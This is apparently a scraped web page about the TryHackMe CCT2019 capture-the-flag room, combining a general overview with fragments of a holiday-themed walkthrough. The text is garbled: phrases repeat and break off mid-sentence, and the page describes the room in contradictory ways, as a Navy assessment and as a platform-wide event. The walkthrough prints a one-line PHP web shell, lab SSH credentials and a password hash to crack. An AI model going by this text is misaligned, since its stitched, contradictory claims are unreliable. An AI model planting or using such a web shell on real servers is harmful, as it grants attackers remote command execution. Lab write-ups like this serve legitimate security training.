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Tryhackme Cct2019 [2021]

is a "legacy" collection of challenges originally built for the U.S. Navy Cyber Competition Team 2019 assessment. It is rated as

difficulty and is designed to test deep analytical reasoning rather than quick exploitation speed. Challenge Breakdown

The room is structured as a series of assessment tasks rather than a typical "grab-the-flag" box. Key focus areas include: Network Forensics (PCAP Analysis):

Requires deep inspection of packet captures to identify traffic reconstruction and recover payloads from raw captures. Reverse Engineering:

You must reverse engineer binaries to understand execution logic instead of just searching for simple strings. Cryptography:

Includes layered crypto challenges where each step depends on the correct interpretation of previous findings. For example, one known solution for the tryhackme cct2019

task involves concatenating a keyboard layout name three times in lowercase. Digital Forensics:

The challenges often include misleading paths and "rabbit holes" to test your ability to validate evidence under pressure. Key Tips for Completion Zero Trust Mindset:

Treat every artifact as potentially misleading. Validate every piece of evidence before proceeding to the next step. Time Management: The room has a suggested duration of 180 minutes

, but its complexity often requires more time for thorough analysis. Community Resources:

If you get stuck, there are walkthroughs available on platforms like for specific tasks such as specific task is a "legacy" collection of challenges originally built

within the CCT2019 room, such as the PCAP or reverse engineering challenges?

The TryHackMe Cyber Challenge 2019 (CCT2019) was a seminal event in the platform's history, marking a shift from simple individual rooms to large-scale, competitive CTF (Capture The Flag) events. It served as a predecessor to the highly popular "Advent of Cyber" series.

While the live competition has long since ended, the challenge remains accessible on TryHackMe as a learning resource. It is designed to test a wide range of offensive security skills, including Open Source Intelligence (OSINT), cryptography, steganography, and binary exploitation.

Below is a detailed breakdown, walkthrough guide, and analysis of the CCT2019 challenge.

Report: TryHackMe CCT2019 Challenge Analysis

Step 2: Initial Foothold – Sleighing the Login

Using elf:workshop2019, you log into SSH. You’re now on the system as a low-privileged elf. But the attacker wasn’t here yet—they used the same credentials to upload a malicious PHP script via the inventory portal’s file upload feature. Report: TryHackMe CCT2019 Challenge Analysis Step 2: Initial

You find the script in /var/www/html/uploads/shell.php. It’s a simple web shell:
<?php system($_GET['cmd']); ?>

This is how the attacker first executed commands as www-data.

Phase 4: Hash Discovery & Cracking

Further enumeration of the web server (or using tools like wfuzz or gobuster with larger wordlists) uncovers a file: /development/hash.txt.

Contents of hash.txt:

5966b3aed20b485fea9b33c6721f4150

What You Learn After Completing TryHackMe CCT2019

Finishing this room isn't just about bragging rights. It concretely teaches: